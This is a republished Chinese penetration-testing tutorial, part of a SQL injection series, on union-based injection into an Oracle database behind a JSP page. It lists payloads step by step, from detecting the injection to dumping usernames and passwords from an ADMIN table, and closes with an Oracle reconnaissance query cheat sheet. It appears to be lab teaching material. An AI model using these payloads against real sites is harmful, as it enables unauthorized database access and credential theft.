78.网络安全渗透测试—[SQL注入篇17]—[Oracle+JSP-联合查询注入]

本文阅读 4 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、Oracle+JSP 联合查询注入

1、注释符号

--        单行注释
/* */     多行注释

2、手工闭合方法

注释闭合
单引号闭合

3、判断是否存在注入

?username=SMITH
?username=SMITH' and 1=1-- //页面正常 ?username=SMITH' and 1=2--            //页面不正常
?username=SMITH' and '1'='1            //页面正常
?username=SMITH' and '1'='2            //页面不正常

img

img img

3、判断列数:order by二分法排序`

       注意,在MySQL中order by排序有一个限制:注释符号必须要能够使用!!! 否则不能闭合,因为这里不能使用单引号闭合!!!但是Oracle没有关系!!!

(1)判断列数的-payload1:?username=SMITH' order by 8-- img

(2)判断列数的-payload2:?username=SMITH' order by '8 img

(3)判断列数的-payload3:?username=SMITH' order by 9-- img

4、联合查询:判断回显位

(1)因为Oracle像SQL Server一样对列的类型比较严谨,所以要用null来匹配任意类型。

(2)Oracle和SQL Server、MySQL不一样的地方是,在联合查询的时候必须要使用from关键字,否则会报错。

(3)Oracle中的DUAL表是一个单行单列的且实际存在虚拟表,任何用户均可读取,所以可以通过这个dual表来显示列数。

(4)验证联合查询的可用性-payload:?username=SMITH' union select null,null,null,null,null,null,null,null from dual-- img

(4)获取回显位的-payload:?username=SMITH' union select 1,'2','3',null,null,null,null,null from dual--

img

5、联合查询:获取Oracle的系统级信息

(1)获取当前数据库版本的SQL语句: select banner from sys.v_$version where rownum=1;

(2)oracle 版本信息的-payload:?username=SMITH' union select null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null from dual--

img

6、联合查询:库名、表名、字段名

(1)联合查询库名的-payload:?username=SMITH' union select null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual-- img

(2)联合查询库名的-payload(排除SYS库名,库名要大些):?username=SMITH'union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ),null,null,null,null,null from dual-- img

(3)联合查询第一个表名的-payload:?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1),null,null,null,null,null from dual--

img

(4)联合查询第二个表名的-payload(排除ADMIN表名,表名要大写):?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null from dual-- img

(5)联合查询ADMIN表的第一个字段名的-payload:?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual-- img

(6)联合查询ADMIN表的第二个字段名的-payload(排除ID字段名,字段名要大写):?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual-- img

(7)联合查询ADMIN表的第三个字段名的-payload(排除ID和USERNAME字段名,字段名要大写):?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1),null,null,null,null,null,null from dual-- img

7、联合查询:数据/记录/字段值

(1)联合查询ADMIN表的USERNAME和PASSWORD的数据的-payload:?username=SMITH' union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN),null,null,null,null,null,null from dual-- img

8、Oracle的常用SQL语句

 有的需要一定的权限才能显示!!!

(1)系统级信息:

获取当前用户 (select user FROM dual)
获取当前用户权限 (select * from session_roles)
获取当前数据库版本 (select banner from sys.v_$version where rownum=1)
获取当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)
获取服务器操作系统 (select member from v$logfile where rownum=1)
获取服务器sid (select instance_name from v$instance)
获取服务器出口IP (用utl_http.request 可以实现)
获取服务器监听IP (select utl_inaddr.get_host_address from dual)

(2)一般的查询语句:

定位文件 (select name FROM V$DATAFILE)                        
获取所有用户 (select username FROM all_users ORDER BY username)
获取所有数据库 (select DISTINCT owner FROM all_tables)            
获取第一个数据库 (select owner from all_tables WHERE rownum=1)    
获取所有表名 (select table_name FROM all_tables)                    
获取当前数据库的所有表名 (select owner, table_name FROM all_tables)            
获取admin表的所有列名 (select column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN')
获取admin表的username和password的所有字段值 (select CONCAT(USERNAME,PASSWORD) FROM ADMIN)

9、总结:

(1)查库名:select owner from all_tables where rownum=1

(2)查库名(排除SYS库):select owner from all_tables where rownum=1 and owner <>'SYS'

(3)查表名:select table_name from user_tables where rownum=1

(4)查表面(排除ADMIN表):select table_name from user_tables where rownum=1 and table_name<>'ADMIN'

(5)查列名:select column_name from user_tab_columns where table_name='ADMIN' and rownum=1

(6)查列名(排除ID列):select column_name from user_tab_columns where table_name='ADMIN' and rownum=1 and column_name<>'ID'

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122604407
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复